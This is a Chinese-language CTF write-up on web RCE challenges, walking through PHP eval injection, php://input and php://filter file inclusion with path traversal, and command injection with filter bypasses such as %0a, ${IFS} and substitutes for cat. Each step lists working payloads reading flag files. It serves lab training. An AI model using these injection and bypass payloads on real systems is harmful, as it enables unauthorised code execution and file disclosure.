web基础之RCE

简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面

1、eval执行

(1)分析后端代码:
if (isset($_REQUEST['cmd']))检查是否从存在cmd参数;eval($_REQUEST["cmd"])如果cmd参数存在的话,则eval()函数会将用户传递进来的参数当作php代码执行!

(2)查看网站当前目录

/?cmd=system("ls"); 

页面回显出来了index.php信息;并没有有用的文件;我们看一下上一级目录有啥文件吧;输入

/?cmd=system("ls /"); 

好像找到了有关flag的信息

查看文件的信息

?cmd=system("cat /flag_26015"); 

拿到flag

2、文件包含

文件包含

(1)分析后端代码

根据后端代码;首先输入?file=shell.txt;发现出现了eval函数;和上面不同的是通过post提交数据的;需要用hackbar插件或者通过bp抓包重发修改信息

(2)查看当前的目录文件(发现了index.php;shell.txt)

查看上一级目录的信息(看到etc flag文件)

ctfhub=system("ls /") 

查看flag;输入

ctfhub=system("cat /flag"); 

php://input伪协议

(1)php://input

php://input用于执行php代码;条件是allow_url_include是On;查看phpinfo文件;查看发现满足条件,直接利用!

(2)使用bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>点击send看到上一级目录有flag信息

修改为<?php system("cat /flag_27289");?>拿到flag

远程包含

(1)发现有phpinfo文件;进去看看;可以进行远程包含(allow_url_include=ON);可以使用php://input执行php函数

(2)利用hackbar插件(这里用不了;因为提交数据的方式是GET;只能用bp抓包重放修改信息

过程:url+?file=php://input;点击抓包;发送到repeater模块;然后修改GET为post;增加<?php system("ls /");?>;点击send;获得上一级目录信息;看到flag信息

修改playload:<?php system("cat /flag");?>;拿下flag

读取源代码

(1)这是尝试了一下php://input;发现漏洞点不在这;那可能就是php://filter;php://filter用于读取源码

(2)

题目提示:flag在 /flag当中;所以直接构造?file=php://filter/resource=../../../flag

http://URL/?file=php://filter/resource=../../../flag 
3、命令注入

先导知识:

命令注入无过滤

(1)明确题目意思;查看当前目录下的文件

127.0.0.1|ls 

使用cat 命令查看207971175014811.php文件;发现打不开;f12直接查看源码直接拿到flag;大佬的另一种方法就是使用base64解密

127.0.0.1|cat 14430616024597.php|base64 

base64解密拿到flag

过滤cat

(1)cat命令被过滤了,在linux当中查看文件内容的命令有很多;比如 more head tail less;

eg:
cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行

输入:
127.0.0.1& more flag_90501846017901.php|base64

解密拿到flag

过滤空格

分析后端代码发现对空格进行了过滤;使用<;ifs ${IFS} %0d 等等代替空格(参考web渗透---RCE)
127.0.0.1&cat<flag_20135747217897.php|base64
过滤目录分隔符

输入127.0.0.1;ls,发现了flag_is_here目录;然后进入这个目录;查看这个目录包含的文件;输入127.0.0.1;cd flag_is_here;ls;发现了flag_4635141399483.php;输入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64,拿到flag;或者直接f12

过滤运算符

发现用不了运算符号了;那就使用;;然后输入127.0.0.1;cat flag_29492699725561.php直接f12查看源码;或者输入
127.0.0.1 ; base64 flag_29492699725561.php直接得到flag

综合过滤练习
自行寻找替换;很简单!为减少篇幅,此处不做过多赘述!

(1)查看服务器下的文件
&& <==> || <==> %0a <==> %0d

?ip=127.0.0.1%0als

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><

(2)查看存在flag文件目录下的文件

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als 

(3)查看flag文件的内容

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php 
相关推荐
Clockwiseee5 小时前
php伪协议
windows·安全·web安全·网络安全
Lspecialnx_10 小时前
文件解析漏洞中间件(iis和Apache)
网络安全·中间件
王ASC10 小时前
SpringMVC的URL组成,以及URI中对/斜杠的处理,解决IllegalStateException: Ambiguous mapping
java·mvc·springboot·web
学习溢出11 小时前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程
孤独的履行者14 小时前
入门靶机:DC-1的渗透测试
数据库·python·网络安全
Blankspace学15 小时前
Wireshark软件下载安装及基础
网络·学习·测试工具·网络安全·wireshark
CVE-柠檬i19 小时前
Yakit靶场-高级前端加解密与验签实战-全关卡通关教程
网络安全
轨迹H1 天前
kali设置中文输入法
linux·网络安全·渗透测试·kali
cr.sheeper1 天前
Vulnhub靶场Apache解析漏洞
网络安全·apache